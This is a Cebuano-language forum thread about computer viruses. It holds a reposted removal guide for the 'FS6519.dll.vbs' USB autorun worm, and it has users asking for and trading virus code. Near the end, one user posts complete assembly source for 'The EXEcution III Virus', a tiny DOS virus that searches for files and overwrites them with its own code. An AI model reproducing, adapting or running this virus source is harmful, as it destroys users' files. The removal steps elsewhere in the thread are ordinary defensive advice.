Cebu Virus?

[Mr.Ho_chia]

---

nya nawa na imong "minatay virus?" ako laptop naapud. maglisod tag delete. unsaun? sos dha bi.

[circles122345]

e repormat nalang na bai...naa unta ko ehatag nimo nga anti ana pro ni ako pero wala nako nadala ron...ako lang e pm nimo soon ha..

[Mr.Ho_chia]

e repormat nalang na bai...naa unta ko ehatag nimo nga anti ana pro ni ako pero wala nako nadala ron...ako lang e pm nimo soon ha..

apila ko bro. d lang ko mag reformat kay nahan nako ako set up run. salamat au bro!

[Tin_Tin]

kinsa gusto mo edit og virus kay naa ko daghan... ASM code ni.

post kuno ug code bay......

[Chipmunk888]

post kuno ug code bay......

"14344" = the "i love you" virus

[circles122345]

@tin_tin code is prohibited na bro...but do worri ill that later kay ako pc naguba pa..basin ugma..
@Mr.Ho_chia e pm lang u email para ako esend...

[twobol2002]

bisan unsaon pa nimo ug change ang string sa ASM code bro, mao ra gihapon ang resulta sa name sa virus ana niya

[geff_chang]

{
How to Remove “FS6519.dll.vbs” or If you Have “TAGA LIPA ARE!” in your IE
from: http://raxso.wordpress.com/2007/03/1...re-in-your-ie/
}

Symptoms: C: drive has an [autoplay] function when right-clicked. Internet Explorer has “TAGA LIPA ARE!” in it’s title bar.

Mode of Transfer: USB, Fixed/Portable HDD

Target: Internet Explorer, Registry, MSConfig, Autorun.inf

Effects: Every Mass Storage Device linked to the infected PC will be inserted with an autorun file which will trigger the Windows Scripting Service to run its main file “FS6519.dll.vbs”, which is marked as a system file and is in the root directory of the Drive.

Open My Computer -> Tools Menu -> Folder Options -> View Tab:

Select: Show hidden Files and Folders

Uncheck: Hide Extensions for known file type and Hide Protected operating system

Click Yes Then OK.

You will see an autorun.inf and FS6519.dll.vbs in all your harddrives. Delete ALL of them.

If it says that something is using the program. Press Ctrl+Alt+Del and go to processes, end ALL wscript.exe

Open MSConfig and under startup, uncheck the trojan’s startup entry, [FS6519].

Click Start > Run and then type regedit

delete [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\FS6519] key, and modify [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”TAGA LIPA ARE!”] key to remove the nuisance in IExplorer.

OR go to Edit -> Find and type FS6519.dll.vbs.

Edit the found registry by selecting the name, ryt click and modify, remove the last two strings which is wscript.exe and FS6519.dll.vbs and click OK.

If finished, press F3 and it will search again for another, just do the same thing until nothing is found in your registry.

If you are done with the FS6519.dll.vbs, its time for the TAGA LIPA ARE! be edited in your IE, type the string on the search again then it will show up the IE title … modify then type anything you like or better delete it.

Have a Nice FREE Virus Trojan Day!!!

[circles122345]

;Here's my sample code so lets make this
;
; The EXEcution III Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 23 bytes long and ofcourse again very lame..
; But what the heck, it's just an educational piece of code!!
;
; Tnx to myself, my assembler, DOS (yuck)
; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! )
;
; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
; it might not work!

_CODE SEGMENT
ASSUME CS:_CODE

ORG 100h
START: ; That's where we're starting...
FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH

MOV AH,4Eh ; Let's search!
DO_IT: MOV DX,SI ; Make DX = 100h (offset file)
INT 21h ; Search now dude!

MOV AX,3D01h ; Hmm, infect that ****ing file!
MOV DX,9Eh ; Name is at DS:[9Eh]
INT 21h ; Go do it!
XCHG BX,AX ; Put the handle in BX

MOV AH,40h ; Write myself!
JMP DO_IT ; Use other routine

_CODE ENDS
END START

; If you don't like my english: Get lost, you can understand it!

[ronz_rodz]

thanks for the info